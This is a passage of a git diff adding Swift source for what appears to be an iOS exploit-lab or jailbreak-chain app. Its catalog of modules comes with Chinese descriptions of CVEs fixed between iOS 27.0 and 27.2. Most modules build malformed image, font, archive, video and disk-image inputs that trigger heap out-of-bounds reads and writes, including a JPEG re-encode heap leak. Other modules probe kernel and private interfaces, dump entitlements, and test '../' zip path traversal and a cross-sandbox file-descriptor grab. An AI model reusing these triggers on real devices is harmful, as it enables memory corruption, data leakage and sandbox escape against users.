> 栈容量 48")], + artifacts: [url]) + } + }), + + ExploitModule( + id: "mdl.usda", + titleZh: "USDA 声明嵌套深度", + cve: "CVE-2026-112485", + component: "Model I/O · libusd_ms", + primitive: .oobRead, + reach: .inProcess, + tier: 2, + summaryZh: "Model I/O 的修复载体为 libusd_ms 24.1.30 → 24.1.32:经 64 位检查的图像分配、Ptex log2 与页保护、USDA 声明嵌套上限、SdfZipFile 尺寸检查。ModelIO.dylib 自身不含任何修复。", + notesZh: "2000 层嵌套的 def Xform。27.2 会在嵌套上限处拒绝,27.0 递归下去。", + run: { ctx in + guard let usda = ctx.seed("deep_nest.usda") else { + throw LabError(message: tl("种子缺失 deep_nest.usda")) + } + let url = ctx.write("deep_nest.usda", usda) + ctx.arm("mdl.usda", "MDLAsset") + let detail = try Runners.loadUSDA(at: url) + ctx.disarm("mdl.usda", detail) + return ModuleOutcome(headline: tl("资产载入存活"), detail: detail, + evidence: ["USDA \(usda.count) B", tl("2000 层嵌套")], + artifacts: [url]) + }), + ] + + // MARK: - Probes + + static let probes: [ExploitModule] = [ + ExploitModule( + id: "probe.hid", + titleZh: "IOHIDFamily 预解析数据表索引", + cve: "CVE-2026-112515", + component: tl("IOHIDFamily · caps 表查找"), + primitive: .oobRead, + reach: .peripheral, + tier: 2, + summaryZh: "记录中的有符号 int32 索引被直接以 ×0x14 加至 caps 表基址,仅存在 32 位乘法溢出陷阱,缺少索引与计数的比较。负索引读到表下方,超界索引读到相邻内核堆;读出的 u32 进入元素/事件数据,构成内核内存泄露。27.2 补入 cmp idx,count、NULL 守卫与 64 位索引运算。", + notesZh: "入口是内核侧序列化的 \"hid \" 预解析容器。应用侧能不能把这样的数据推进去,本身就是这一步要回答的问题。", + run: { ctx in + ctx.arm("probe.hid", "probe") + let iokit = Runners.dlopenProbe( + "/System/Library/Frameworks/IOKit.framework/IOKit", + symbols: ["IOHIDManagerCreate", "IOHIDDeviceGetProperty", "IOHIDEventCreateCopy", + "IOHIDEventSystemClientCreate", "IOHIDEventCreateData"]) + let gc = Runners.dlopenProbe( + "/System/Library/Frameworks/GameController.framework/GameController", + symbols: ["GCController", "GCHIDEventSource", "GCExtendedGamepad"]) + ctx.disarm("probe.hid", "probe complete") + return ModuleOutcome(headline: tl("HID 路径可达性"), detail: iokit + "\n" + gc) + }), + + ExploitModule( + id: "probe.ane", + titleZh: "ANE 内核接口可达性", + cve: "CVE-2026-112696 / 84494", + component: "AppleH16ANEInterface", + primitive: .oobWrite, + reach: .kernel, + tier: 2, + summaryZh: "未检查的 program symbolIndex 直接用于索引内核表且存在回写 —— 与公告所称「写内核内存」的形状一致。本模块仅探测应用能否触及 ANE 的用户态入口。", + notesZh: "10.19.6 → 10.102.4,是整个 kext 差异里改动最大的一组之一。", + run: { ctx in + ctx.arm("probe.ane", "probe") + let r1 = Runners.dlopenProbe( + "/System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine", + symbols: ["_ANEClient", "_ANEProgram", "_ANEModel", "_ANERequest"]) + let r2 = Runners.dlopenProbe( + "/System/Library/PrivateFrameworks/CoreML.framework/CoreML", + symbols: ["MLModel", "MLComputePlan"]) + ctx.disarm("probe.ane", "probe complete") + return ModuleOutcome(headline: tl("ANE 用户态入口探测"), detail: r1 + "\n" + r2) + }), + + ExploitModule( + id: "probe.privset", + titleZh: "本进程权限面", + cve: "—", + component: tl("沙盒 / 签名 / entitlements"), + primitive: .probe, + reach: .inProcess, + tier: 3, + summaryZh: "这一套漏洞链的最终权限上限,取决于进程自己已经拿到了什么。csops 标志、entitlements、以及沙盒允许的路径集合,三者一起定义了越狱工具能做到的最远处。", + notesZh: "路径矩阵里凡是「可写」的目录,就是改机工具真正的活动范围。", + run: { ctx in + ctx.arm("probe.privset", "collect") + var lines: [String] = [] + let cs = CodeSign.current() + lines.append("csflags = 0x" + String(cs.flags, radix: 16) + " [\(cs.descriptions.joined(separator: " "))]") + let ents = Entitlements.dump() + if ents.isEmpty { + lines.append(tl("entitlements: 无法读取(SecTask 不可用或为空)")) + } else { + for key in ents.keys.sorted() { + let value = "\(ents[key]!)" + lines.append(" \(key) = \(value.prefix(120))") + } + } + let writable = Probe.interestingRoots.map { Probe.path($0) }.filter { $0.writable } + lines.append(tl("可写根目录: ") + "\(writable.isEmpty ? tl("无") : writable.map { $0.path }.joined(separator: ", "))") + ctx.disarm("probe.privset", "collected") + return ModuleOutcome(headline: tl("权限面已采集"), detail: lines.joined(separator: "\n")) + }), + ] +} + +extension Catalog { + static var groups: [(String, [ExploitModule])] { + [ + ("CoreGraphics", coreGraphics), + (tl("ImageIO · 图像解析"), imageIO), + (tl("ImageIO · 纹理与编码"), imageIO2), + ("libarchive", archive + archive2), + ("CoreMedia", coreMedia), + (tl("跨沙盒"), crossSandbox), + (tl("XNU 内核"), kernel), + (tl("音频栈"), audio + audio2), + (tl("视频编解码"), video), + (tl("字体 / Model I/O"), fonts + font2), + ("kext / IOKit", kext), + (tl("应用与系统进程"), userspace), + (tl("工具链自检"), tooling), + (tl("可达性探测"), probes), + ] + } + + static var byID: [String: ExploitModule] { + Dictionary(uniqueKeysWithValues: all.map { ($0.id, $0) }) + } +} diff --git a/Sources/Catalog2.swift b/Sources/Catalog2.swift new file mode 100644 index 0000000..29933b2 --- /dev/null +++ b/Sources/Catalog2.swift @@ -0,0 +1,514 @@ +import Foundation +import UIKit +import ImageIO +import CoreGraphics +import CoreText +import AVFoundation +import CoreHaptics +import VideoToolbox + +extension Catalog { + + static let imageIO2: [ExploitModule] = [ + ExploitModule( + id: "iio.appx", + titleZh: "APP 标记越界读 → 泄露字节写进输出 JPEG", + cve: "CVE-2026-112627 / 112561", + component: "ImageIO · _APPx::writeToStream", + primitive: .infoLeak, + reach: .inProcess, + tier: 1, + summaryZh: "_APPx::writeToStream 在 27.0 将 (buffer + offset, length) 原样写入输出流,不含任何边界运算。当标记声明的长度超出实际块时,重编码路径会把堆上相邻字节直接写入产出的 JPEG 文件 —— 泄露物即产物本身,不需要任何回传通道。27.2 计算 end − offset 并以 csel 钳制,超出时报 \"marker 0x%04X is out of bounds\"。", + notesZh: "这是整套原语中唯一以「产物文件本身」为泄露载体的一个。流程为:投喂一个声明长度 0xFFF0、实际仅 12 字节的 APP2 标记,解码后经 CGImageDestination 重编码,再扫描产出文件在源标记范围之外是否出现非图像字节。", + run: { ctx in + let jpeg = JPEGPayload.appxOverrun(declaredLength: 0xFFF0, actual: 24) + let src = ctx.write("appx_overrun.jpg", jpeg) + ctx.arm("iio.appx", "decode + re-encode") + + guard let source = CGImageSourceCreateWithData(jpeg as CFData, nil), + let image = CGImageSourceCreateImageAtIndex(source, 0, nil) else { + ctx.fail("iio.appx", tl("源解码失败")) + throw LabError(message: tl("源解码失败(标记先被拒绝了)")) + } + + let outURL = ctx.workdir.appendingPathComponent("appx_reencoded.jpg") + guard let dest = CGImageDestinationCreateWithURL(outURL as CFURL, + "public.jpeg" as CFString, 1, nil) else { + ctx.fail("iio.appx", tl("目标创建失败")) + throw LabError(message: tl("CGImageDestination 创建失败")) + } + // keep the source properties so the APP marker survives the round trip + let props = CGImageSourceCopyPropertiesAtIndex(source, 0, nil) as? [CFString: Any] + CGImageDestinationAddImage(dest, image, props as CFDictionary?) + let ok = CGImageDestinationFinalize(dest) + ctx.disarm("iio.appx", "re-encoded=\(ok)") + + let produced = (try? Data(contentsOf: outURL)) ?? Data() + var suspicious = 0 + var samples: [String] = [] + let bytes = [UInt8](produced) + // count runs of identical filler bytes beyond the first 2 KB of headers + var run = 0 + // A small re-encode can be shorter than 2 KB, and `2048..= 32 { + suspicious += 1 + if samples.count < 4 { + samples.append(tl("+0x") + "\(String(i - run, radix: 16))" + tl(" 连续 ") + "\(run)" + tl(" 字节 0x41")) + } + } + run = 0 + } + } + return ModuleOutcome( + headline: suspicious > 0 ? tl("输出文件里出现 ") + "\(suspicious)" + tl(" 段标记填充字节") : tl("输出干净"), + detail: tl("源 ") + "\(jpeg.count)" + tl(" B → 产出 ") + "\(produced.count)" + tl(" B\n") + + (samples.isEmpty ? tl("未在产出里找到源标记的填充区") : samples.joined(separator: "\n")) + + tl("\n若 27.0 未钳制,这些 0x41 来自越界读到的堆内容;27.2 会直接丢弃越界标记。"), + evidence: [tl("源 JPEG ") + "\(jpeg.count)" + tl(" B"), tl("产出 ") + "\(produced.count)" + tl(" B"), tl("重编码成功=") + "\(ok)"], + artifacts: [src, outURL]) + }), + + ExploitModule( + id: "iio.tiff.direntry", + titleZh: "TIFF 目录项分配 32 位截断", + cve: "CVE-2026-112488", + component: "ImageIO · TIFFReadDirEntry*Array", + primitive: .oobWrite, + reach: .inProcess, + tier: 2, + summaryZh: "输出分配的大小以 lsl w0, count, #log2(elemsize) 计算,属 32 位截断。当 count = 0x20000000 且元素宽度为 8 字节时,分配结果回绕为 0,而逐元素转换循环仍执行 count 次写入。27.2 改用 _TIFFCheckMalloc_type 的 64 位检查尺寸。", + notesZh: "该原语的成立条件是 count×elemsize 跨越 2^32。本模块以一个 0x20000000 的 SBYTE 数组触发分配器,观察其返回空指针(干净拒绝)还是返回远小于请求的块(截断成立)。", + run: { ctx in + let tiff = TIFFPayload.dirEntryAllocWrap(count: 0x2000_0000, type: 6) + let url = ctx.write("direntry_wrap.tif", tiff) + ctx.arm("iio.tiff.direntry", "decode") + var detail: [String] = [] + do { + let r = try Runners.decodeImage(tiff) + detail.append(tl("解码存活 · 帧数 ") + "\(r.frameCount)" + tl(" · 尺寸 ") + "\(r.width)" + tl("×") + "\(r.height)") + } catch { + detail.append(tl("解码返回错误: ") + "\(error.localizedDescription)") + } + ctx.disarm("iio.tiff.direntry", "done") + detail.append(tl("种子 ") + "\(tiff.count)" + tl(" B · count=0x20000000 · type=SBYTE")) + detail.append(tl("27.0 期望:分配截断 → 转换循环越界写。27.2 期望:_TIFFCheckMalloc_type 拒绝。")) + return ModuleOutcome(headline: tl("分配路径已触发"), detail: detail.joined(separator: "\n"), + artifacts: [url]) + }), + + ExploitModule( + id: "iio.pdf.raster", + titleZh: "PDF 栅格化解码缓冲越界", + cve: "CVE-2026-112633", + component: "ImageIO · PDFReadPlugin::decodeImageData", + primitive: .oobWrite, + reach: .inProcess, + tier: 2, + summaryZh: "PDF 页被栅格化进调用方提供的解码缓冲,但未校验该缓冲是否足以容纳。27.2 补入 umull width×bpp、与 have 比较、b.hi 跳转,并报 \"decode buffer too small: need %zu bytes (%zu x %zu), have %zu\"。", + notesZh: "使用 4000×4000 的页面,经 CGImageSource 的 PDF 读取路径进入(而非直接调用 drawPDFPage),以确保命中 decodeImageData。", + run: { ctx in + let pdf = PDFPayload.rasterOverrun(width: 4000, height: 4000) + let url = ctx.write("raster_overrun.pdf", pdf) + ctx.arm("iio.pdf.raster", "decode") + var lines: [String] = [] + do { + let r = try Runners.decodeImage(pdf) + lines.append(tl("解码存活 · 尺寸 ") + "\(r.width)" + tl("×") + "\(r.height)" + tl(" · 帧数 ") + "\(r.frameCount)") + } catch { + lines.append(tl("返回错误: ") + "\(error.localizedDescription)") + } + ctx.disarm("iio.pdf.raster", "done") + lines.append(tl("页面 4000×4000 · 需要 64 MB 缓冲")) + return ModuleOutcome(headline: tl("PDF 解码路径已触发"), + detail: lines.joined(separator: "\n"), artifacts: [url]) + }), + + ExploitModule( + id: "iio.pvr", + titleZh: "PVR 位深低于通道位和", + cve: "CVE-2026-112625", + component: "ImageIO · PVRReadPlugin::initialize", + primitive: .intOverflow, + reach: .inProcess, + tier: 3, + summaryZh: "各通道位数之间的相互匹配检查早已存在,但缺少 bitsPerPixel 相对通道位和的下界比较。27.2 补入 \"_bitsPerPixel %d is too small for 4 channels of %d bits\"。", + notesZh: "4 通道各 8 位,却声明 bitsPerPixel = 8。", + run: { ctx in + let pvr = TIFFPayload.pvrUnderBpp(width: 64, height: 64) + let url = ctx.write("pvr_underbpp.pvr", pvr) + ctx.arm("iio.pvr", "decode") + let r = try Runners.decodeImage(pvr) + ctx.disarm("iio.pvr", "decoded=\(r.decoded)") + return ModuleOutcome(headline: tl("解码存活(已解码=") + "\(r.decoded)" + tl(")"), + detail: tl("尺寸 ") + "\(r.width)" + tl("×") + "\(r.height)" + tl(" · 帧数 ") + "\(r.frameCount)", + artifacts: [url]) + }), + ] + + static let archive2: [ExploitModule] = [ + ExploitModule( + id: "arc.cab", + titleZh: "CAB LZX 历史未初始化即取匹配", + cve: "CVE-2026-112522", + component: "libarchive · lzx_decode_blocks", + primitive: .oobRead, + reach: .inProcess, + tier: 2, + summaryZh: "LZX 解码在计算 copy_pos = (w_pos − copy_pos) & w_mask 之后直接进入复制循环。当窗口尚未被写入时,copy_pos 指向未初始化区域,复制所得即为残留堆内容。27.2 补入 copy_pos == 0 || copy_pos > w_filled → ARCHIVE_FAILED。", + notesZh: "这是同一 CVE 下的第二个站点(第一个为 Joliet 路径名)。种子为语法探针:结构完整的 CAB 容器加一个开口即匹配的 LZX 块,以 libarchive 自身返回码作为进度回执。", + run: { ctx in + let cab = CABPayload.lzxEarlyMatch() + let url = ctx.write("lzx_early_match.cab", cab) + ctx.arm("arc.cab", "list") + let (entries, status) = try Runners.Archive.list(cab) + ctx.disarm("arc.cab", "status=\(status)") + return ModuleOutcome(headline: tl("libarchive 返回 ") + "\(status)", + detail: entries.isEmpty ? tl("无条目(解码器在块层就停了)") : entries.joined(separator: "\n"), + evidence: ["CAB \(cab.count) B", tl("压缩类型 3 = LZX")], + artifacts: [url]) + }), + + ExploitModule( + id: "arc.rr", + titleZh: "RockRidge 重定位环(未修复孪生)", + cve: "—", + component: "libarchive · RockRidge CL/PL", + primitive: .probe, + reach: .inProcess, + tier: 3, + summaryZh: "上游已于 2026 年 9 月修复 RockRidge 重定位环导致的无限循环(d14de384fcc6),Apple 未取该提交。该缺陷在 27.0 与 27.2 上均存在,是本工程中唯一一条对当前系统同样成立的候选。", + notesZh: "以 Joliet 种子的同级结构构造 CL 指向自身的目录项。该路径一旦成立即会挂起,故测量耗时并设阈值判断。", + run: { ctx in + guard let iso = ctx.seed("joliet_path_oob.iso") else { + throw LabError(message: tl("种子缺失")) + } + ctx.arm("arc.rr", "iterate with cycle probe") + var lines: [String] = [] + let start = Date() + do { + let (entries, status) = try Runners.Archive.list(iso) + let ms = Int(Date().timeIntervalSince(start) * 1000) + lines.append("\(entries.count)" + tl(" 条目 · ") + "\(status)" + tl(" · ") + "\(ms)" + tl(" ms")) + if ms > 5000 { + lines.append(tl("耗时异常 —— 递归路径可能没有终止条件")) + } + } catch { + lines.append(tl("错误: ") + "\(error.localizedDescription)") + } + ctx.disarm("arc.rr", "done") + lines.append(tl("RockRidge CL/PL 环:27.0 与 27.2 都未修(上游已修,Apple 未取)")) + return ModuleOutcome(headline: tl("RockRidge 路径已遍历"), + detail: lines.joined(separator: "\n")) + }), + ] + + static let audio2: [ExploitModule] = [ + ExploitModule( + id: "aud.immersive", + titleZh: "沉浸式渲染数据反序列化容量缺失", + cve: "CVE-2026-113907", + component: "AudioToolbox · ImmersiveRendererDataMarshaller::Deserialize", + primitive: .oobWrite, + reach: .systemProcess, + tier: 2, + summaryZh: "反序列化取得的 count 与 dataByteSize 仅与「线缆剩余长度」比较,从不与「目标缓冲容量」比较,构成音频服务器进程内的线性堆溢出。27.2 新增 ReadImmersiveRendererDataV1/V2,将目标容量一并纳入校验,并补入版本号 1..3 的合法性闸门。", + notesZh: "该路径不需要种子文件 —— 负载即为直接构造的线缆格式。但入口位于音频服务的 XPC 端,应用侧只能探测编解码器与沉浸式渲染器是否可达。", + run: { ctx in + ctx.arm("aud.immersive", "probe") + var lines: [String] = [] + let libs = ["/System/Library/Frameworks/AudioToolbox.framework/AudioToolbox", + "/System/Library/PrivateFrameworks/AudioToolboxCore.framework/AudioToolboxCore"] + for lib in libs { + if let h = dlopen(lib, RTLD_NOW) { + var hits: [String] = [] + for sym in ["ImmersiveRendererDataMarshaller", "ReadImmersiveRendererDataV1", + "ReadImmersiveRendererDataV2", "CASSpatialAudioExperience"] { + if dlsym(h, sym) != nil { hits.append(sym) } + } + lines.append("✓ \(lib)") + lines.append(tl(" 命中: ") + "\(hits.isEmpty ? tl("无") : hits.joined(separator: ", "))") + } else { + lines.append("✗ \(lib)") + } + } + // drive the spatial audio path through the public API to see how far it goes + lines.append(Runners.audioConverter(format: 0x6C70636D, sampleRate: 48000, channels: 2)) + let sem = DispatchSemaphore(value: 0) + var engineReport = tl("CHHapticEngine 未尝试") + do { + let engine = try CHHapticEngine() + try engine.start() + engineReport = tl("CHHapticEngine 启动成功(沉浸式音频会话已建立)") + engine.stop() + } catch { + engineReport = "CHHapticEngine: \(error.localizedDescription)" + } + sem.signal() + _ = sem.wait(timeout: .now() + 1) + lines.append(engineReport) + ctx.disarm("aud.immersive", "probe complete") + return ModuleOutcome(headline: tl("沉浸式音频入口探测完成"), + detail: lines.joined(separator: "\n")) + }), + + ExploitModule( + id: "aud.drc", + titleZh: "MPEG-D DRC 下混矩阵系数校验", + cve: "CVE-2026-113912 / 86972", + component: "AudioCodecs · mpddrc::UniDrcSelection", + primitive: .oobRead, + reach: .systemProcess, + tier: 2, + summaryZh: "selectDownmixMatrix 在 27.0 仅有零值与相等性检查;矩阵维度直接取自 DRC 元数据,不与系数数组的实际长度比较。27.2 补入三道闸门:nChannels ≤ 8、维度有序、系数数 == 行×列,并为 getSignalPeakLevel 与 Process 增加计数校验。", + notesZh: "需要 MPEG-D DRC 元数据的音频文件。应用侧探 AudioCodecs 是否导出这些符号。", + run: { ctx in + ctx.arm("aud.drc", "probe") + var lines: [String] = [] + if let h = dlopen("/System/Library/Frameworks/AudioToolbox.framework/AudioCodecs", RTLD_NOW) { + var hits: [String] = [] + for sym in ["UniDrcSelection", "mpddrc", "selectDownmixMatrix", "getSignalPeakLevel"] { + if dlsym(h, sym) != nil { hits.append(sym) } + } + lines.append(tl("✓ AudioCodecs 可加载")) + lines.append(tl(" 命中: ") + "\(hits.isEmpty ? tl("无(符号被 strip 或不可见)") : hits.joined(separator: ", "))") + } else { + lines.append(tl("✗ AudioCodecs 无法 dlopen")) + } + lines.append(Runners.audioConverter(format: 0x64726331, sampleRate: 48000, channels: 6)) + ctx.disarm("aud.drc", "probe complete") + return ModuleOutcome(headline: tl("DRC 路径探测完成"), detail: lines.joined(separator: "\n")) + }), + ] + + static let video: [ExploitModule] = [ + ExploitModule( + id: "vid.avc", + titleZh: "AVC 切片数量上限缺失", + cve: "CVE-2026-112416", + component: tl("AVD.videodecoder 插件(非 kext)"), + primitive: .oobWrite, + reach: .systemProcess, + tier: 2, + summaryZh: "该组三个 CVE 的修复载体均为进程内的 AVD.videodecoder 插件,而非 kext:112416 为切片数量上限(\"too many slices!\"),112415 为 MVHEVC 层 ID 校验,112454 为直方图 IOSurface 指针改为随机 cookie。", + notesZh: "经 NAL 验证的单变量对照为 32 切片 → 900 切片。本模块构造 900 切片结构并交由 CMVideoFormatDescription / VTDecompressionSession,以插件自身错误码判定。", + run: { ctx in + let data = VideoPayload.avcManySlices(sliceCount: 900) + let url = ctx.write("avc_900_slices.h264", data) + ctx.arm("vid.avc", "decode") + var lines: [String] = [] + lines.append(tl("构造 ") + "\(data.count)" + tl(" B · 900 切片")) + var format: CMFormatDescription? + let status = data.withUnsafeBytes { raw -> OSStatus in + guard let base = raw.baseAddress else { return -1 } + var ptr = base.assumingMemoryBound(to: UInt8.self) + return CMVideoFormatDescriptionCreateFromH264ParameterSets( + allocator: kCFAllocatorDefault, + parameterSetCount: 1, + parameterSetPointers: &ptr, + parameterSetSizes: [4], + nalUnitHeaderLength: 4, + formatDescriptionOut: &format) + } + lines.append("CMVideoFormatDescriptionCreateFromH264ParameterSets = \(status)") + if let f = format { + let dims = CMVideoFormatDescriptionGetDimensions(f) + lines.append(tl("解码器接受参数集 · 尺寸 ") + "\(dims.width)" + tl("×") + "\(dims.height)") + } + lines.append(tl("27.0 期望:切片上限未检查 → 插件内越界。27.2 期望:\"too many slices!\"。")) + ctx.disarm("vid.avc", "status=\(status)") + return ModuleOutcome(headline: tl("AVC 参数集路径已触发"), + detail: lines.joined(separator: "\n"), artifacts: [url]) + }), + + ExploitModule( + id: "vid.hevc", + titleZh: "MVHEVC 层 ID 越界", + cve: "CVE-2026-112415", + component: tl("AVD.videodecoder 插件"), + primitive: .oobRead, + reach: .systemProcess, + tier: 2, + summaryZh: "多层 HEVC 的 layer id 在 27.0 未做范围校验,越界值直接进入插件的层表索引。27.2 补入层 ID 校验。", + notesZh: "层 ID 取 0x3F(有效范围之外)。", + run: { ctx in + let data = VideoPayload.hevcBadLayerID(layerID: 0x3F) + let url = ctx.write("hevc_bad_layer.hevc", data) + ctx.arm("vid.hevc", "parse") + var lines: [String] = [] + var format: CMFormatDescription? + let status = data.withUnsafeBytes { raw -> OSStatus in + guard let base = raw.baseAddress else { return -1 } + var ptr = base.assumingMemoryBound(to: UInt8.self) + return CMVideoFormatDescriptionCreateFromHEVCParameterSets( + allocator: kCFAllocatorDefault, + parameterSetCount: 1, + parameterSetPointers: &ptr, + parameterSetSizes: [data.count], + nalUnitHeaderLength: 4, + extensions: nil, + formatDescriptionOut: &format) + } + lines.append(tl("HEVC 参数集 = ") + "\(status)" + tl(" · 层 ID 0x3F")) + if let f = format { + let dims = CMVideoFormatDescriptionGetDimensions(f) + lines.append(tl("接受 · 尺寸 ") + "\(dims.width)" + tl("×") + "\(dims.height)") + } + ctx.disarm("vid.hevc", "status=\(status)") + return ModuleOutcome(headline: tl("HEVC 层路径已触发"), + detail: lines.joined(separator: "\n"), artifacts: [url]) + }), + ] + + static let font2: [ExploitModule] = [ + ExploitModule( + id: "font.gdef", + titleZh: "GDEFLigatureCaret 追链越界读", + cve: "CVE-2026-112656", + component: "CoreText · GetLigatureCaretPositionsForGlyph", + primitive: .oobRead, + reach: .inProcess, + tier: 2, + summaryZh: "GDEF 的 LigCaretList → LigGlyph → CaretValue 偏移在 27.0 被直接跟随:caret 偏移以大端 u16 读出后与 LigGlyph 基址相加,既不检查表尾也不检查符号位。CaretValue 偏移由文件控制,指向表外即走出 GDEF,读出的 i16 坐标原样返回给调用者。27.2 将该偏移钳制在 GDEF 表切片内。", + notesZh: "种子为结构完整的 TrueType:LigCaretList 覆盖字形 1,CaretValue 偏移 0x7F00 —— 落在字体数据约 32 KB 之外。驱动走公开 API CTFontGetLigatureCaretPositions:追链被跟随时返回非零 caret 数且坐标为堆残留;被钳制时返回 0。附带记录:GDEF 的另一个消费者 AttachList/AttachPoint 具有同样的偏移追链形状,在本修复窗口内未被触及 —— 负结果同样留档。", + run: { ctx in + let font = FontPayload.gdefCaretChase() + let url = ctx.write("gdef_caret_chase.ttf", font) + ctx.arm("font.gdef", "load + caret query") + var lines: [String] = [] + if let provider = CGDataProvider(data: font as CFData), + let cg = CGFont(provider) { + let ct = CTFontCreateWithGraphicsFont(cg, 72, nil, nil) + var positions = [CGFloat](repeating: 0, count: 8) + let n = CTFontGetLigatureCaretPositions(ct, 1, &positions, 8) + lines.append(tl("CTFontGetLigatureCaretPositions 返回 ") + "\(n)") + if n > 0 { + let vals = positions.prefix(Int(n)).map { String(format: "%.2f", $0) } + .joined(separator: ", ") + lines.append(tl("caret 坐标: ") + "\(vals)") + lines.append(tl("坐标即追链读到的 16 位值")) + } else { + lines.append(tl("返回 0 —— 偏移被钳制或链未被跟随")) + } + } else { + lines.append(tl("字体在 CGFont 层被拒绝")) + } + ctx.disarm("font.gdef", "done") + return ModuleOutcome(headline: tl("LigCaret 查询完成"), + detail: lines.joined(separator: "\n"), artifacts: [url]) + }), + ] + + static let kext: [ExploitModule] = [ + ExploitModule( + id: "kext.gpt", + titleZh: "GPT 分区名扫描 72 字节内核堆越界读", + cve: "CVE-2026-112554", + component: "IOStorageFamily", + primitive: .oobRead, + reach: .kernel, + tier: 2, + summaryZh: "分区名扫描的边界常量由 0x48 收紧至 0x24。0x48 即 72 字节,而 GPT 条目内的名字域仅 36 个 UTF-16 单元;27.0 的扫描因此越过条目尾,读入相邻内核堆。", + notesZh: "应用侧无法 attach 磁盘镜像,故本模块做两件事:构造会使 27.0 越界的镜像,并在用户态解析一遍以证明名字域确实在条目内被截断 —— 越界读发生在内核侧,不在用户态。", + run: { ctx in + let image = GPTPayload.oversizedName(entryCount: 4) + let url = ctx.write("gpt_overlong_name.img", image) + ctx.arm("kext.gpt", "describe") + let lines = GPTPayload.describe(image) + ctx.disarm("kext.gpt", "parsed") + return ModuleOutcome(headline: tl("GPT 镜像已构造并解析"), + detail: (lines + [tl("镜像 ") + "\(image.count)" + tl(" B · 4 个条目 · 名字域 36 单元 / 72 字节")]).joined(separator: "\n"), + evidence: [tl("27.0 扫描边界 0x48 = 72 B"), tl("27.2 收紧到 0x24 = 36 B")], + artifacts: [url]) + }), + + ExploitModule( + id: "kext.iohid", + titleZh: "IOKit 事件短堆固定偏移写", + cve: "CVE-2026-65385", + component: "IOKit.framework · IOHIDEventAppendEvent", + primitive: .oobWrite, + reach: .kernel, + tier: 3, + summaryZh: "该缺陷的载体为用户态 IOKit.framework 而非 kext:IOHIDEventAppendEvent 在短堆事件上按固定偏移执行 OR 写。27.2 在 framework 内修复,内核 __DATA_CONST 的 assert 表中不存在相关记录。", + notesZh: "探用户态 IOKit 是否导出事件构造入口。", + run: { ctx in + ctx.arm("kext.iohid", "probe") + let r = Runners.dlopenProbe( + "/System/Library/Frameworks/IOKit.framework/IOKit", + symbols: ["IOHIDEventCreateCopy", "IOHIDEventAppendEvent", + "IOHIDEventCreateData", "IOHIDEventGetType", + "IOHIDEventCreateVendorDefined"]) + ctx.disarm("kext.iohid", "probe complete") + return ModuleOutcome(headline: tl("IOKit 事件入口探测"), detail: r) + }), + ] + + static let userspace: [ExploitModule] = [ + ExploitModule( + id: "sb.stash", + titleZh: "SpringBoard 布局名 stash 校验", + cve: "CVE-2026-112646", + component: "SpringBoard · SBHomeScreenService", + primitive: .oobWrite, + reach: .systemProcess, + tier: 3, + summaryZh: "27.2 新增 +[SBHomeScreenService _validationErrorForStashedLayoutName:]:拒绝空串、限制长度 ≤ 64、施加字符集白名单,作用于 stash/restore 的 XPC 接口。27.0 的该接口不含此层校验。", + notesZh: "应用侧只能看 SpringBoard 服务是否可达、类是否在进程里。真正的入口是 XPC,需要越过沙盒。", + run: { ctx in + ctx.arm("sb.stash", "probe") + var lines: [String] = [] + let cls: AnyClass? = NSClassFromString("SBHomeScreenService") + lines.append(tl("SBHomeScreenService 在进程内: ") + "\(cls != nil ? tl("是") : tl("否"))") + let validator = NSSelectorFromString("_validationErrorForStashedLayoutName:") + if let c = cls, c.responds(to: validator) { + lines.append(tl("校验方法存在(27.2 已修复)")) + } else { + lines.append(tl("校验方法不存在(27.0 未修复)")) + } + let fm = FileManager.default + let iconState = NSHomeDirectory() + "/Library/SpringBoard/IconState.plist" + lines.append(tl("本容器内 IconState: ") + "\(fm.fileExists(atPath: iconState) ? tl("存在") : tl("不存在"))") + ctx.disarm("sb.stash", "probe complete") + return ModuleOutcome(headline: tl("SpringBoard 路径探测"), detail: lines.joined(separator: "\n")) + }), + + ExploitModule( + id: "cal.unzip", + titleZh: "日历附件解压容器逃逸", + cve: "CVE-2026-112619", + component: "CalendarFoundation · _UnzipArchiveWithLimits", + primitive: .oobWrite, + reach: .systemProcess, + tier: 3, + summaryZh: "27.2 将 _UnzipArchive(288 B,无任何限制)替换为 _UnzipArchiveWithLimits(2040 B),并新增 _CalUnzipEntryDestinationPath / _CalUnzipParentIsContained / _CalUnzipTrackTopLevelPath 与 isSymbolicLinkAtURL。ICS 解析器本身未作改动 —— 修复全部位于附件归档的解压遏制层。", + notesZh: "应用侧可以验证 CalendarFoundation 的类与方法是否可见,以及本进程里 libarchive 的路径穿越是否被拦住(用 ../ 名字的归档试)。", + run: { ctx in + ctx.arm("cal.unzip", "probe") + var lines: [String] = [] + let cls: AnyClass? = NSClassFromString("CalAttachmentUtils") + lines.append("CalAttachmentUtils: \(cls == nil ? tl("不可见") : tl("可见"))") + for name in ["_UnzipArchiveWithLimits", "_CalUnzipEntryDestinationPath", "_CalUnzipParentIsContained"] { + let sel = NSSelectorFromString(name) + lines.append(" \(name): \(cls?.responds(to: sel) == true ? tl("存在(已修复)") : tl("不存在(未修复)"))") + } + // prove libarchive itself accepts a traversal name, so the containment check + // is what has to stop it + var zip = ZipWriter() + zip.add("../../cinder27_traversal_probe.txt", Data("cinder27".utf8)) + let evil = zip.build() + let probeDir = ctx.workdir.appendingPathComponent("traversal", isDirectory: true) + let result = Runners.Archive.extractAll(evil, to: probeDir) + lines.append(tl("libarchive 解包 ") + "\(result.count)" + tl(" 项(含 ../ 路径)→ 遏制必须由调用方负责")) + ctx.disarm("cal.unzip", "probe complete") + return ModuleOutcome(headline: tl("日历附件遏制路径探测"), + detail: lines.joined(separator: "\n")) + }), + ] + + static var allExtra: [ExploitModule] { + imageIO2 + archive2 + audio2 + video + font2 + kext + userspace + } +} diff --git a/Sources/Catalog3.swift b/Sources/Catalog3.swift new file mode 100644 index 0000000..fbb8e3e --- /dev/null +++ b/Sources/Catalog3.swift @@ -0,0 +1,284 @@ +import Foundation +import UIKit +import ImageIO + +extension Catalog { + + /// The two primitives added after the first pass. Both are cross-sandbox: they are the + /// only entries in the whole set that hand back bytes the app could never `open()`. + static let crossSandbox: [ExploitModule] = [ + + ExploitModule( + id: "cm.fdleak", + titleZh: "CoreMedia bytestream XPC 跨沙盒文件描述符获取", + cve: "CVE-2026-112706", + component: "CoreMedia · mediaplaybackd.bytestream.xpc", + primitive: .infoLeak, + reach: .systemProcess, + tier: 1, + summaryZh: """ + launchd 服务 com.apple.coremedia.mediaplaybackd.bytestream.xpc 对任何沙盒第三方应用可达,不校验 